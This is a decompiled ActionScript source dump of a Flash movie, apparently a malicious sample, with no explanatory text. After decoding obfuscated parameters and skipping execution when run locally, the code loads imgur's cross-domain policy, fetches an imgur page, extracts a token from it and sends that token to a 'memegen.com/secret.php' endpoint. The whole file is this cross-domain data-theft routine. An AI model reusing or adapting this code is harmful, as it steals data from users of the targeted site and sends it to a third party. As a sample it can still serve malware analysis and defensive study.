Section 1
//MainTimeline (hashim_fla.MainTimeline)
package hashim_fla {
import flash.display.*;
import adobe.utils.*;
import flash.accessibility.*;
import flash.errors.*;
import flash.events.*;
import flash.external.*;
import flash.filters.*;
import flash.geom.*;
import flash.media.*;
import flash.net.*;
import flash.printing.*;
import flash.profiler.*;
import flash.sampler.*;
import flash.system.*;
import flash.text.*;
import flash.ui.*;
import flash.utils.*;
import flash.xml.*;
public dynamic class MainTimeline extends MovieClip {
public var hs;
public var hash;
public var p;
public var ign;
public var id;
public var loader:Loader;
public function MainTimeline(){
addFrameScript(0, frame1);
}
public function parseInteger(_arg1){
var _local6:*;
var _local7:*;
var _local8:*;
_arg1 = _arg1.toUpperCase();
var _local2:* = "";
var _local3:* = parseInt(_arg1.substr(0, 2), 16);
trace(("k1 = " + _local3));
var _local4:* = parseInt(_arg1.substr(2, 2), 16);
trace(("k2 = " + _local4));
var _local5:* = 0;
var _local9:* = 4;
while (_local9 < _arg1.length) {
_local6 = parseInt(_arg1.substr(_local9, 2), 16);
_local6 = (_local6 - _local3);
_local6 = (_local6 % 0x0100);
if (_local6 < 0){
_local6 = (_local6 + 0x0100);
};
_local2 = (_local2 + String.fromCharCode(_local6));
_local3 = (_local3 + (_local4 + _local5));
_local5++;
_local9 = (_local9 + 2);
};
return (_local2);
}
public function intToString(_arg1){
var _local6:*;
var _local7:*;
var _local8:*;
var _local2:* = "";
var _local3:* = Math.floor((Math.random() * 0xFF));
var _local4:* = Math.floor((Math.random() * 0xFF));
var _local5:* = ((_local3 * 0x0100) + _local4);
_local2 = ((_local3.toString(16) + "") + _local4.toString(16));
var _local9:* = 0;
while (_local9 < _arg1.length) {
_local6 = _arg1.charCodeAt(_local9);
_local6 = ((_local6 + _local3) % 0x0100);
_local3 = (_local3 + (_local4 + _local9));
_local7 = Math.floor((_local6 / 16));
_local8 = (_local6 - (_local7 * 16));
_local2 = (_local2 + ((_local7.toString(16) + "") + _local8.toString(16)));
_local9++;
};
return (_local2.toUpperCase());
}
public function ronpaul(_arg1){
var _local2:* = _arg1.target.loader.content;
hash = ((((0 + _local2.width).toString(16) + "") + (0 + _local2.height).toString(16)) + hash);
Security.loadPolicyFile("http://imgur.com/crossdomain.xml");
var _local3:URLLoader = new URLLoader();
_local3.addEventListener(Event.COMPLETE, igot);
_local3.dataFormat = URLLoaderDataFormat.BINARY;
_local3.load(new URLRequest(("http://imgur.com/" + id)));
}
public function igot(_arg1){
var _local5:*;
var _local6:*;
var _local7:*;
var _local9:Loader;
var _local2:* = ("" + _arg1.target.data);
var _local3:* = _local2.split(p)[1];
var _local4:* = "";
_local5 = 0;
while (_local5 < _local3.length) {
_local6 = _local3.charAt(_local5);
_local7 = _local3.charCodeAt(_local5);
if ((((((((_local7 >= 48)) && ((_local7 <= 57)))) || ((((_local7 >= 65)) && ((_local7 <= 90)))))) || ((((_local7 >= 97)) && ((_local7 <= 122)))))){
_local4 = (_local4 + _local6);
} else {
break;
};
_local5++;
};
_local3 = _local4;
var _local8:* = "http://www.memegen.com/secret.php?hash=";
_local5 = 0;
while (_local5 <= 9) {
_local8 = (_local8 + ((("" + Math.floor((Math.random() * 8))) + "") + _local5));
_local5++;
};
_local8 = _local8.split("9")[1];
_local8 = (_local8 + parseInteger(hash));
if (_local3.length > 0){
_local9 = new Loader();
_local9.load(new URLRequest(((((_local8 + "&id=") + id) + "&d=") + _local3)));
};
}
function frame1(){
Security.allowDomain("*");
if ((((Capabilities.playerType == "External")) && ((root.loaderInfo.url.substr(0, 4) == "file")))){
return;
};
hs = "0123456789ABCDEF";
hash = this.loaderInfo.parameters["hash"];
hash = parseInteger(hash);
p = this.loaderInfo.parameters["p"];
p = parseInteger(p);
ign = this.loaderInfo.parameters["n"];
ign = parseInteger(ign);
id = this.loaderInfo.parameters["id"];
if (typeof(id) == "undefined"){
return;
};
if (typeof(id) == "null"){
return;
};
if (id.length < 3){
return;
};
trace("uh oh!");
loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, ronpaul);
loader.load(new URLRequest((("http://jimmyrustler.neocities.org/" + ign) + ".jpg")));
}
}
}//package hashim_fla